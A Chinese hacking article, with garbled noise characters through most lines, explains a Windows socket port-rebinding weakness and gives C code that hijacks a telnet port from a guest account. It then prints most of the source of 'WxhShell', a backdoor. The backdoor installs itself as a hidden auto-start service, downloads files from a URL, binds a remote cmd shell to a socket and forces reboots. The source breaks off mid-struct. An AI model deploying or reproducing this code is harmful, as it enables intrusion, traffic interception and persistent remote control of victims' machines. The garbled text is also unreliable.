在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
p(>'4#|qy s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
R4;6Oi) G7?EaLsfQ saddr.sin_family = AF_INET;
Nh%8; v~3q4P saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NKrk*I"G &aOOG8l bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y$^QH.h q?\D9aT9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
HC+R:Dz 10^=1@U 这意味着什么?意味着可以进行如下的攻击:
/-lmfpT 2F(j=uV+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v/dcb% *<1m
2t>. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
UHWunI S d8 po`J#nb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ZW"J]"A $mlcaH 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#'P&L>6
; &s5*akG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y*f<\z(4 LTHS&3%2 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S;~_9i]upe F(r&:3!97 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C&gJP7 UF XJ+sm^`vOf #include
P+a&R<Dj4 #include
RB2u1]l #include
f63q #include
aHw VoT DWORD WINAPI ClientThread(LPVOID lpParam);
KAZz)7 int main()
78wcMQNX9 {
BlCKJp{m$ WORD wVersionRequested;
QPnc "! DWORD ret;
o^D{WH\p WSADATA wsaData;
UpbzH(?# BOOL val;
A@ +.[[ SOCKADDR_IN saddr;
| Z;Av%% SOCKADDR_IN scaddr;
dhbJ1/z^ int err;
ux=@"!PJ SOCKET s;
% |V:F. f SOCKET sc;
:gXj($ int caddsize;
R.@GLx_zpQ HANDLE mt;
jBM>Pe^`3 DWORD tid;
9z#IdY$a wVersionRequested = MAKEWORD( 2, 2 );
0Sk{P>A err = WSAStartup( wVersionRequested, &wsaData );
Sl1N V if ( err != 0 ) {
Lfor0-j printf("error!WSAStartup failed!\n");
cQjJ9o7 return -1;
23PSv8;EM }
{#MViBhd% saddr.sin_family = AF_INET;
xUYSD 0#G"{M //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)%6v~,'3Y k6XO-a f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
X'Oo ogu saddr.sin_port = htons(23);
2B#\683 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%o-*~GQ@B {
8eNGPuoL) printf("error!socket failed!\n");
7^1ikmYY return -1;
O`eNuQSv }
v-o/zud]] val = TRUE;
m(Oup=\%b} //SO_REUSEADDR选项就是可以实现端口重绑定的
#AHIlUH"m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+_<#8v {
4d O>L" printf("error!setsockopt failed!\n");
u4Sa4o return -1;
T!n<ya! }
S}<(9@]z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q]\xO/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D~<GVp5T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
fN9hBC@ ;Zw28!#Rt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u^uW<.#z {
|R4]( ret=GetLastError();
z9gZ/d printf("error!bind failed!\n");
*\>& return -1;
+{s^"M2` }
(L\tp>
E- listen(s,2);
D4G{= Y}G while(1)
W\Gg!XsLk {
-`( :L[ caddsize = sizeof(scaddr);
nv={.H //接受连接请求
Rj8l]m6U9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
uzS57 O% if(sc!=INVALID_SOCKET)
9X-DR {
eK`tFs,u mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
= #`FXO1C if(mt==NULL)
Q{%ow:;s* {
',.Xn`c printf("Thread Creat Failed!\n");
`bi5#xR break;
GRNH!:e }
)}EwEM }
87-oR}/r CloseHandle(mt);
N7[~Y2i }
&CS= *)>$ closesocket(s);
up`6IWlLE WSACleanup();
*Hs5MXNu return 0;
vO\CPb
%/ }
FIuKX"XR DWORD WINAPI ClientThread(LPVOID lpParam)
Gce![<|ph {
ow&R~_ SOCKET ss = (SOCKET)lpParam;
vt1!|2{
h SOCKET sc;
d"V^^I)yx& unsigned char buf[4096];
_|F h^hq SOCKADDR_IN saddr;
u+]zi"k^s long num;
]$7|1-&Y DWORD val;
%T&kK2d; DWORD ret;
MT3UJ6 ~P //如果是隐藏端口应用的话,可以在此处加一些判断
rC'97`!K //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
g}f@8;TY saddr.sin_family = AF_INET;
;;2s{{(R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<|{=O9 saddr.sin_port = htons(23);
P\Ka'i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mqna0"IYx* {
'rSM6j printf("error!socket failed!\n");
F:n7yey return -1;
3o1j l2n }
!$O +M# val = 100;
"Aynt_a. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
m$U2|5un& {
y+c+ / L8 ret = GetLastError();
F:\CDM=lS return -1;
>B iJ/[9 }
S -im
o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
H:CwUFL {
\E n ^Vf ret = GetLastError();
RxAZ<8T_ return -1;
|d{4_o90 }
OH&&d=~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1vX97n<} {
1v`*%95 printf("error!socket connect failed!\n");
Hi
)n]OE closesocket(sc);
rK"x92P0 closesocket(ss);
wz'D4B return -1;
rUlXx5f }
?8`b while(1)
d5h:py5 {
>1W)J3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,}J(& //如果是嗅探内容的话,可以再此处进行内容分析和记录
q>,i `* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1B 2>8N num = recv(ss,buf,4096,0);
;XANITV if(num>0)
Nl0*"}`I_ send(sc,buf,num,0);
}e1f kjWk else if(num==0)
gVb;sk^ break;
aK'BC>uFI num = recv(sc,buf,4096,0);
^W;\faG if(num>0)
E<0Y;tR send(ss,buf,num,0);
SDZ/rC!C else if(num==0)
j2V^1 break;
WxFVbtw }
PKmr5FB closesocket(ss);
mkgDg y closesocket(sc);
<&B)i\j8=b return 0 ;
G/b
$cO} }
,|D<De\v& '?4B0= yH irm|o ==========================================================
a8NL y4+Km*am,W 下边附上一个代码,,WXhSHELL
Oo$i,|$$ uq'T:d ==========================================================
A3MVNz$wo"
2>p>AvcK #include "stdafx.h"
?m0|>[j SIVzc Hm #include <stdio.h>
!ouJ3Jn #include <string.h>
sZ_+6+ : #include <windows.h>
CnN PziB #include <winsock2.h>
~8Z)e7j #include <winsvc.h>
y$'(/iyz #include <urlmon.h>
ApR>b% p4[cPt ~C #pragma comment (lib, "Ws2_32.lib")
Kx7s
d i #pragma comment (lib, "urlmon.lib")
2{(_{9<>z ]U82A**n #define MAX_USER 100 // 最大客户端连接数
:hC+r=!I #define BUF_SOCK 200 // sock buffer
4+Wti!s #define KEY_BUFF 255 // 输入 buffer
"|`euxYV )17CG*K1 #define REBOOT 0 // 重启
x:4:G( #define SHUTDOWN 1 // 关机
@!`x^Tzz 4YMX;W #define DEF_PORT 5000 // 监听端口
N
8 n`f ^O}` i #define REG_LEN 16 // 注册表键长度
)CKPzNf #define SVC_LEN 80 // NT服务名长度
"=@X>jUc O!#r2Y"?K1 // 从dll定义API
MDAJ
p>o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;Lr]w8d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d#NG]V/
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
G*^4+^Vz? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
GUSEbIz): -Q9} gaH_ // wxhshell配置信息
d0YDNP%,_ struct WSCFG {
muc6gwBp int ws_port; // 监听端口
54r/s#|-3 char ws_passstr[REG_LEN]; // 口令
HHzAmHt int ws_autoins; // 安装标记, 1=yes 0=no
6fY-DqF! char ws_regname[REG_LEN]; // 注册表键名
`|(S]xPHM char ws_svcname[REG_LEN]; // 服务名
y\k#83aU| char ws_svcdisp[SVC_LEN]; // 服务显示名
opqY@>Vh& char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y`3V&8X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"n'kv!?\ int ws_downexe; // 下载执行标记, 1=yes 0=no
HtpZ5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
t>Lq
"]1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
db#svj* m) QV2n };
#q?'<''d, bf@H(gCW= // default Wxhshell configuration
Kjzo>fIC{ struct WSCFG wscfg={DEF_PORT,
PUcxlD/a} "xuhuanlingzhe",
UB^OMB-W.m 1,
gjFpM.D-. "Wxhshell",
0i[v,eS "Wxhshell",
<x-7MU& "WxhShell Service",
/0 CS2mLC "Wrsky Windows CmdShell Service",
gxPu/VD4 "Please Input Your Password: ",
<<w*_GM 1,
#|8Ia:=s "
http://www.wrsky.com/wxhshell.exe",
LT[g
+zGB "Wxhshell.exe"
c]}F$[>oN' };
mUA!GzJ~u- SR_<3WW // 消息定义模块
h(C@IIO^;G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]"ou?ot } char *msg_ws_prompt="\n\r? for help\n\r#>";
s k_TKN`+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y90wLU9f char *msg_ws_ext="\n\rExit.";
4Dy|YH$>S char *msg_ws_end="\n\rQuit.";
*\gYs{, char *msg_ws_boot="\n\rReboot...";
TAB'oLNp char *msg_ws_poff="\n\rShutdown...";
1
K(0tG:5 char *msg_ws_down="\n\rSave to ";
3Zdwt\OQ QlE]OAdB42 char *msg_ws_err="\n\rErr!";
WIKSz
{"=/ char *msg_ws_ok="\n\rOK!";
N1iP!m9Q )5Wt(p:T6_ char ExeFile[MAX_PATH];
1Be/(pSc int nUser = 0;
m941 Y HANDLE handles[MAX_USER];
WF] |-)vw int OsIsNt;
ghGpi U$ g~p43sVV SERVICE_STATUS serviceStatus;
BD,J4xH; SERVICE_STATUS_HANDLE hServiceStatusHandle;
g>E.Snj} tJ$gH; // 函数声明
X{Ij30Bmv int Install(void);
0hg4y int Uninstall(void);
n{$! ]^> int DownloadFile(char *sURL, SOCKET wsh);
A3^_'K int Boot(int flag);
,J(shc_F void HideProc(void);
Y6G`p int GetOsVer(void);
PCx: int Wxhshell(SOCKET wsl);
HjCe/J ; void TalkWithClient(void *cs);
w~4T.l#1 int CmdShell(SOCKET sock);
I9Lt>* int StartFromService(void);
X6<Ds'I int StartWxhshell(LPSTR lpCmdLine);
l#IN)">1
Zz?)k])F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
SwE bVwB VOID WINAPI NTServiceHandler( DWORD fdwControl );
= IJ}b=: r17"i.n // 数据结构和表定义
w"{mDL}c SERVICE_TABLE_ENTRY DispatchTable[] =
AZ>F+@ d {
HSR,moI {wscfg.ws_svcname, NTServiceMain},
\AeM=K6q+D {NULL, NULL}
?t)Mt](" };
a(IUAh*mO X'{o/U. // 自我安装
sm Kp3_r int Install(void)
TXT!Ae {
_9yW; i- char svExeFile[MAX_PATH];
2q4-9vu HKEY key;
yXQ 28A strcpy(svExeFile,ExeFile);
ZZM;%i-B .WLwAL // 如果是win9x系统,修改注册表设为自启动
u-M Td if(!OsIsNt) {
)=nB32~J" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tH=jaFJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZZ>F ^t RegCloseKey(key);
%6\L^RP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v,|jmv+: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
[}I|tb>Pg RegCloseKey(key);
wEZieHw return 0;
T]x]hQ }
Q[Gs%/> }
MFn\[J`Ra }
"[ieOFI else {
c+{ ar^)* `
ZBOaN^if // 如果是NT以上系统,安装为系统服务
^EJ]LNk} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@ 3rJ $6W if (schSCManager!=0)
3"Zc|Ck <? {
O"}O~lZ[6T SC_HANDLE schService = CreateService
)# v}8aL (
ka@yQ V schSCManager,
5(thDZ ! wscfg.ws_svcname,
QtA@p wscfg.ws_svcdisp,
(ys<{Y-; SERVICE_ALL_ACCESS,
F9k}zAY\J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
JFdMYb SERVICE_AUTO_START,
?$MO! SERVICE_ERROR_NORMAL,
ASB3|uy _ svExeFile,
lS|F&I5j NULL,
K5 EJ#1ov NULL,
z+KZ6h NULL,
G<P/COI#M5 NULL,
[0D.+("EW NULL
=om<* \vsO );
@1~cPt
if (schService!=0)
l{QlJ>%~{; {
BCO (,k CloseServiceHandle(schService);
GX'S4B CloseServiceHandle(schSCManager);
+7{8T{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
oT|:gih5 strcat(svExeFile,wscfg.ws_svcname);
@~&|BvK% \ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1:RK~_E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
tr58J%Mu RegCloseKey(key);
m=TZfa^r return 0;
F$ckW'V }
NtmmPJ|5 }
qOAP_\@T CloseServiceHandle(schSCManager);
k*OHI/uiow }
>`^;h]Q }
?69E_E ]@m`bs_6 return 1;
#\ECQF }
8_Z"@ O;$}j:;KF // 自我卸载
ju!V1ky int Uninstall(void)
G.r=fNP {
411z-aS HKEY key;
IH`7ou { !C(PfsrR/ if(!OsIsNt) {
R[kF(C& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&UVqFo RegDeleteValue(key,wscfg.ws_regname);
nt@uVwfQ RegCloseKey(key);
N;DE,[:< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fymmAfaR RegDeleteValue(key,wscfg.ws_regname);
c& $[a%s RegCloseKey(key);
*to#ZMR;! return 0;
i*8j| }
l3+G ]C&< }
K+d{R=s^ }
(:^YfG~e else {
b81cq, (Q.tH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4&%E?_M if (schSCManager!=0)
36Lf8~d4"h {
W.59Al' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(1[Z#y[ if (schService!=0)
lR/Uboyy {
XtE O ) if(DeleteService(schService)!=0) {
Ffd4c CloseServiceHandle(schService);
w]fVELU CloseServiceHandle(schSCManager);
QVah4wFL*. return 0;
3m~,6mQ }
AF,;3G CloseServiceHandle(schService);
P
F);KQ }
2km0 CloseServiceHandle(schSCManager);
TxH
amI l }
og_ylCh: }
2Ima15^+F nGsFt. return 1;
JE# H&]
}
^F-2tc 7#N
?{3i // 从指定url下载文件
o?+?@Xb' int DownloadFile(char *sURL, SOCKET wsh)
Y5P9z{X= {
ftQ;$@ HRESULT hr;
Js.G
hTs char seps[]= "/";
+HjSU2 char *token;
Zad>iw} char *file;
S_^;#=_c char myURL[MAX_PATH];
=iB$4d2 char myFILE[MAX_PATH];
Pb1.X9*8c EztuVe strcpy(myURL,sURL);
k2.\1}\ token=strtok(myURL,seps);
C>F5=& while(token!=NULL)
1(Z+n,Hh {
1/syzHjbY file=token;
wa!z:}] token=strtok(NULL,seps);
i2-]Xl }
=4L%A=]` `-Tb=o}. GetCurrentDirectory(MAX_PATH,myFILE);
MwL!2r strcat(myFILE, "\\");
EWXv3N2) strcat(myFILE, file);
-=n!k^?lK send(wsh,myFILE,strlen(myFILE),0);
EpTc{ send(wsh,"...",3,0);
Rl_1g`84 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
j3S!uA?
if(hr==S_OK)
?T,a(m<i{ return 0;
P)~olrf else
O>i]*V return 1;
QWWI crx%;R }
N/1xc1$SB jthyZZ // 系统电源模块
bZZ_yc int Boot(int flag)
mnw(x#%P {
J3/e;5w2Z HANDLE hToken;
-
/cf3 TOKEN_PRIVILEGES tkp;
fp`m>}
- n?S)H= if(OsIsNt) {
R*lq.7
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
KM[&WT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
a/rQ@ c> tkp.PrivilegeCount = 1;
DcC|oU[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]ki) (Bb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<e wcWr if(flag==REBOOT) {
xa967Ki9" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gt=@v()) return 0;
P,7R/-u 5D }
jF(R;?, else {
zQ+
%^DT1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
p _2Y c]8 return 0;
6KE64: \; }
7f*b5$+r }
|o^mg9 else {
:OqEkh"$# if(flag==REBOOT) {
1_8@yO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{$7vd return 0;
.x}xa }
1suP7o A; else {
T t_QAIl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,>nf/c0. return 0;
!<F5W<V }
.3>q3sS }
^rGuyW# ];eJ'# return 1;
d"a\`# }
kt7Em b} aU#r`D@0 // win9x进程隐藏模块
!,sQB_09C void HideProc(void)
@Y ?p-& {
5kHU'D VkId6k:>6C HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M"Z/E>ne if ( hKernel != NULL )
g>a%
gVly {
E{\T?dk1$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
DweF8c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
UnyJD%a FreeLibrary(hKernel);
TXbi>t:/S{ }
C?<[oQb# f'tQLF[r< return;
O7J V{'? }
a4]=4[(iu> Y$fF"pG? // 获取操作系统版本
{+gK\Nz int GetOsVer(void)
)Q<u0AxAn {
%wGQu;re OSVERSIONINFO winfo;
:>jzL8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;0Ih:YY6 GetVersionEx(&winfo);
Shss};QZf( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?}S~cgL - return 1;
`:dGPBBO else
dO9bxHMnM return 0;
~F;>4q }
Smd83W& R0nUS<b0 // 客户端句柄模块
#9A*B bY int Wxhshell(SOCKET wsl)
,fhwDqR
? {
yATXN>]l SOCKET wsh;
\}gITc).j struct sockaddr_in client;
d1NKVMeWr DWORD myID;
5X9*K ?9~|K/ `l while(nUser<MAX_USER)
#qEUGD` {
S@ItgG?X int nSize=sizeof(client);
TUQe.oAi wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/g!X[rn7Q if(wsh==INVALID_SOCKET) return 1;
d:hX3 A8ClkLC;I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#-PUm0| if(handles[nUser]==0)
g{hbq[>X] closesocket(wsh);
D&6.> wt
. else
"&\]1A}Z-x nUser++;
{!pYQ|# }
x139Ckn WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
BbgKaC q R1/mzPG return 0;
y p pZ@ }
vtq47i QQ99sy // 关闭 socket
:x!'Eer
n void CloseIt(SOCKET wsh)
)r
XUJ29. {
\~T&C5 closesocket(wsh);
G%%5lw!y' nUser--;
c}2"X, ExitThread(0);
jVSU]LU E }
7[M@;$ z~jk_|?|? // 客户端请求句柄
&qm:36Y7Xg void TalkWithClient(void *cs)
Eq5X/Hx {
0}\8,U k[1w] l8 SOCKET wsh=(SOCKET)cs;
{dvsZJj char pwd[SVC_LEN];
.Txwp?}; char cmd[KEY_BUFF];
X-SR0x char chr[1];
,(kaC.Em int i,j;
J^mm"2 Rts}y:44 while (nUser < MAX_USER) {
UJ&gm_M+kL ASr3P5/ if(wscfg.ws_passstr) {
x'
3kHw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%;O# y3, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
okBaQH2lUl //ZeroMemory(pwd,KEY_BUFF);
XE;aJ'kt i=0;
rTeADu_vf while(i<SVC_LEN) {
"':SWKuMx px^brzLQo // 设置超时
oN(F$Nvk fd_set FdRead;
;!<@Fm9W struct timeval TimeOut;
1tH#QZIT FD_ZERO(&FdRead);
z|zd=3c FD_SET(wsh,&FdRead);
p49T3V TimeOut.tv_sec=8;
;{"uG>#R TimeOut.tv_usec=0;
U5j0i] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N0(($8G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
q/3co86c ?WrL<?r)}U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
inyS 4tb pwd
=chr[0]; ?MJ5GVeH
if(chr[0]==0xd || chr[0]==0xa) { w)Y}hlcq
pwd=0; D^w<V%].
break; 2/l4,x
} d)v!U+-|'
i++; WZ
,t~TN
} >fgV!o4
w%kaM=
// 如果是非法用户,关闭 socket %&4\'lE
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xgo`XsA
} }Q{4G
*G,r:Bnb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o%v,6yv
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Ro>?H
z9^_5la#
while(1) { |bjLmGb
4,ewp coC%
ZeroMemory(cmd,KEY_BUFF); s;:quM
4?~Ei[KgQn
// 自动支持客户端 telnet标准 d6"B_,*b
j=0; &3Mps[u:h
while(j<KEY_BUFF) { &sS]h|2Z5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y\{lQMCy
cmd[j]=chr[0]; 76S>xnN
if(chr[0]==0xa || chr[0]==0xd) { rXnG"A
cmd[j]=0; GC~N$!*
break; +Z%8X!Q
} "z|%V/2b3
j++; )auuk<
} f8L3+u
zuBfkW95+
// 下载文件 ^r~R]stE^
if(strstr(cmd,"http://")) { i<{/r-w=E
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z/I`XPmk
if(DownloadFile(cmd,wsh)) R]_fe4Y0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hFt ~7R
else 0"=}d y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x`p3I*_HT5
}
.y~~[QF}8
else { "RsH'`
)jN fQ!?/
switch(cmd[0]) { edh<L/%D
'5n=tRx
// 帮助 JLV?n,nF
case '?': { NKw}VW'|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~sc@49p
break; I,!>ZG@6
} c#(&\g2H
// 安装 WFFpW{
case 'i': { ~uu~NTz
if(Install()) WWWfQ_u2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F84?Mi{r2
else 69/qH_Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $6\W8v
break; Jl,\^)DSw
} ]mvVX31T
// 卸载 iMOf];O)
case 'r': { -X#qW"92q
if(Uninstall()) n0kkUc-`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3,F+
else q"pnFK9/L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g].hL
break; v4wXa:CJ
} UHUO9h
// 显示 wxhshell 所在路径 rzgzX
case 'p': { Zu %oIk
char svExeFile[MAX_PATH]; %uhhQ<zs%
strcpy(svExeFile,"\n\r"); RlTVx:
strcat(svExeFile,ExeFile); )ur&Mnmm
send(wsh,svExeFile,strlen(svExeFile),0); X+XbIbUuL
break; nzORG
} &b&o];a
// 重启 y2Z1B2E%f
case 'b': { vR"<:r47?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hTbot^/
if(Boot(REBOOT)) q CB9z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mPo] .z
else { _a=f.I
closesocket(wsh); \78kShx
ExitThread(0); %epK-q9[
} ZI#Xh5
break; dbLxm!;(
} I UxsvW+
// 关机 4Vi&Y')f
case 'd': { A'X, zw^}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n;Etn!4M
if(Boot(SHUTDOWN)) cZXra(AD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !4G<&hvb
else { H=k*;'
closesocket(wsh); v;@-bED(Qs
ExitThread(0); `+0)dTA(g$
} ;F<)BEXC<
break; h8_~ OX
} ' ! ls"qo
// 获取shell rfNt
case 's': { gJ>HFid_C
CmdShell(wsh); k|}S K9
closesocket(wsh); "A?_)=zZ
ExitThread(0); '%"#]
break; <=,KP)
} %R{clbbbn
// 退出 t%AW0#TZ
case 'x': { *7I=vro
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s"|N-A=cS
CloseIt(wsh); 7M1*SC
break; R%Yws2Le2
} :q4Mnr
// 离开 ;G3{ e
case 'q': { `v)-v<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9D_4]'KG
closesocket(wsh); #+eV5%Si
WSACleanup(); wWflZ"%
exit(1); O"mU#3?
break; O ,[aL;v
} T8FKa4ikn
} 'vTD7a^
} gGU3e(!Uc
6P;1I+5m{q
// 提示信息 WDiF:@^K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vwzTrWA=
} !`='K
+
} +-#| M|a
}h>e=<
return; w|PZSOJ
} xZmKKKd0*
]IJ.}
// shell模块句柄 b,G+=&6u
int CmdShell(SOCKET sock) Bd"7F{H
{ FO}4~_W{
STARTUPINFO si; D@Fa~O$75
ZeroMemory(&si,sizeof(si)); k 9Kv
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *.EtdcRo[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {R,rc!yF
PROCESS_INFORMATION ProcessInfo; @Cm"lv.hz
char cmdline[]="cmd"; h{ce+~X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H$ xSl1>E
return 0; tO?*x/XC{
} cVn7jxf
~%Yh`c
EP
// 自身启动模式 Z[`J'}?|
int StartFromService(void) BoIe<{X(9
{ 7XWgY%G
typedef struct qTyU1RU$9^
{ ^m8\fCA*
DWORD ExitStatus; ;wprHXjq
DWORD PebBaseAddress; fC%;|V'Nd
DWORD AffinityMask; qBX<{[
DWORD BasePriority; EGGy0 ly
ULONG UniqueProcessId; XW]|Mv[M
